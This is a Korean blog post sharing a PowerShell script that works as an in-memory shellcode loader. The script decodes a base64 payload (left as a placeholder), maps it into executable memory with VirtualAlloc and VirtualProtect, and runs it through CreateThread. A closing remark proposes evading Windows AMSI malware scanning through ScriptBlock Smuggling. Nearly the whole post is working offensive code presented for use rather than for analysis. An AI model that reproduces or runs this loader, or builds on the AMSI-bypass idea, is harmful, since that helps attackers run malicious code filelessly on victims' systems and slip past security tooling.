Kilkat

[powershell] shell_code.ps1 본문

Script/Windows

[powershell] shell_code.ps1

KimKwangWoon 2025. 2. 14. 00:10
function Convert-HexStringToByteArray {
     param ([string]$hexString)

     $hexString = $hexString -replace "\\x", ""
     if ($hexString.Length % 2 -ne 0) {
         throw "16진수 문자열의 길이가 홀수입니다. 유효한 16진수 문자열이어야 합니다."
     }

     $bytes = @()
     for ($i = 0; $i -lt $hexString.Length; $i += 2) {
         $hexPair = $hexString.Substring($i, 2)
         if ($hexPair -notmatch '^[0-9A-Fa-f]{2}$') {
             throw "유효하지 않은 16진수 값: $hexPair"
         }
         $bytes += [byte]::Parse($hexPair, [System.Globalization.NumberStyles]::AllowHexSpecifier)
     }
     return ,$bytes
 }

function Write-DebugLog {
    param ([string]$message)
    Add-Content -Path "C:\debug_test.log" -Value "$((Get-Date).ToString('yyyy-MM-dd HH:mm:ss')) - $message"
    Write-Output $message
}

$shellcodeEncode = "base64_shellcode"

try {
    $shellcode = [Convert]::FromBase64String($shellcodeEncode)
    if ($shellcode.Length -eq 0) {
        throw "Base64 디코딩 결과가 비어 있습니다."
    }
    Write-DebugLog "Base64 디코딩 완료. 크기: $($shellcode.Length) 바이트"
} catch {
    Write-DebugLog "Base64 디코딩 실패: $_"
    exit
}

$VirtualAlloc = Add-Type -MemberDefinition @"
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
"@ -Name "Kernel32" -Namespace WinAPI -PassThru

$VirtualProtect = Add-Type -MemberDefinition @"
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
"@ -Name "Kernel32_Protect" -Namespace WinAPI -PassThru

$CreateThread = Add-Type -MemberDefinition @"
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
"@ -Name "Kernel32_Thread" -Namespace WinAPI -PassThru

$WaitForSingleObject = Add-Type -MemberDefinition @"
[DllImport("kernel32.dll")]
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
"@ -Name "Kernel32_Wait" -Namespace WinAPI -PassThru

$size = $shellcode.Length
$mem = [WinAPI.Kernel32]::VirtualAlloc([IntPtr]::Zero, $size, 0x3000, 0x40)

if ($mem -eq [IntPtr]::Zero) {
    $errorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
    Write-DebugLog "VirtualAlloc 실패. Error Code: $errorCode"
    exit
} else {
    Write-DebugLog "VirtualAlloc 성공: 메모리 주소 - $mem"
}

[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $mem, $size)
Write-DebugLog "Shellcode가 메모리에 복사되었습니다."

$oldProtect = 0
$result = [WinAPI.Kernel32_Protect]::VirtualProtect($mem, $size, 0x20, [ref]$oldProtect)
if (-not $result) {
    $errorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
    Write-DebugLog "VirtualProtect 실패. Error Code: $errorCode"
} else {
    Write-DebugLog "VirtualProtect 성공. 이전 보호: $oldProtect"
}

$threadId = 0
try {
    $threadHandle = [WinAPI.Kernel32_Thread]::CreateThread([IntPtr]::Zero, 0, $mem, [IntPtr]::Zero, 0, [ref]$threadId)
    if ($threadHandle -eq [IntPtr]::Zero) {
        $errorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
        Write-DebugLog "CreateThread 실패. Error Code: $errorCode"
        exit
    } else {
        Write-DebugLog "스레드 생성 성공: Thread Handle - $threadHandle, Thread ID - $threadId"
    }

    $result = [WinAPI.Kernel32_Wait]::WaitForSingleObject($threadHandle, [uint32]4294967295)
    if ($result -ne 0) {
        throw "WaitForSingleObject 실패. 결과 코드: $result"
    }
} catch {
    Write-DebugLog "Shellcode 실행 중 예외 발생: $_"
}

Write-DebugLog "Shellcode 실행이 완료되었습니다."

 

 

ps1 스크립트 만으로 실행이 가능하지만, C# ScriptBlock Smuggling 원리를 이용하여 AMSI 우회 시도 해보기...

'Script > Windows' 카테고리의 다른 글

[powershell] 16진수 -> byte 문자열  (0) 2025.02.14
[Windows] ms defender scheduling batch file  (0) 2024.03.15
Comments